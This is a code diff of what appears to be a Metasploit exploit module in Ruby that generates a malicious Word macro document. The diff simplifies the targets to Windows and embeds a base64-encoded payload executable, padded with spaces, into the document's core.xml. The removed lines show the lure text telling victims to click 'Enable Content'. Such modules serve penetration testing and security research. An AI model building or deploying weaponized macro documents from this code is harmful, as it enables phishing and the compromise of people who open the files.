@@ -39,30 +39,18 @@ def initialize(info={})
39
39
'EXITFUNC' => 'thread' ,
40
40
'DisablePayloadHandler' => true
41
41
} ,
42
+ 'Platform' => 'win' ,
42
43
'Targets' =>
43
44
[
44
- [
45
- 'Microsoft Office Word on Windows' ,
46
- {
47
- 'Platform' => 'win' ,
48
- }
49
- ] ,
50
- [
51
- 'Microsoft Office Word on Mac OS X (Python)' ,
52
- {
53
- 'Platform' => 'python' ,
54
- 'Arch' => ARCH_PYTHON
55
- }
56
- ]
45
+ [ 'Microsoft Office Word' , { } ] ,
57
46
] ,
58
47
'Privileged' => false ,
59
- 'DisclosureDate' => "Jan 10 2012"
48
+ 'DisclosureDate' => "Jan 10 2012" ,
49
+ 'DefaultTarget' => 0
60
50
) )
61
51
62
52
register_options ( [
63
- OptString . new ( "BODY" , [ false , 'The message for the document body' ,
64
- 'Contents of this document are protected. Please click Enable Content to continue.'
65
- ] ) ,
53
+ OptString . new ( "BODY" , [ false , 'The message for the document body' , '' ] ) ,
66
54
OptString . new ( 'FILENAME' , [ true , 'The Office document macro file' , 'msf.docm' ] )
67
55
] , self . class )
68
56
end
@@ -75,9 +63,8 @@ def on_file_read(short_fname, full_fname)
75
63
when /document\. xml/
76
64
buf . gsub! ( /DOCBODYGOESHER/ , datastore [ 'BODY' ] )
77
65
when /core\. xml/
78
- p = target . name =~ /Python/ ? payload . encoded : generate_payload_exe
79
66
b64_payload = ' ' * 55
80
- b64_payload << Rex ::Text . encode_base64 ( p )
67
+ b64_payload << Rex ::Text . encode_base64 ( generate_payload_exe )
81
68
buf . gsub! ( /PAYLOADGOESHERE/ , b64_payload )
82
69
end
83
70
0 commit comments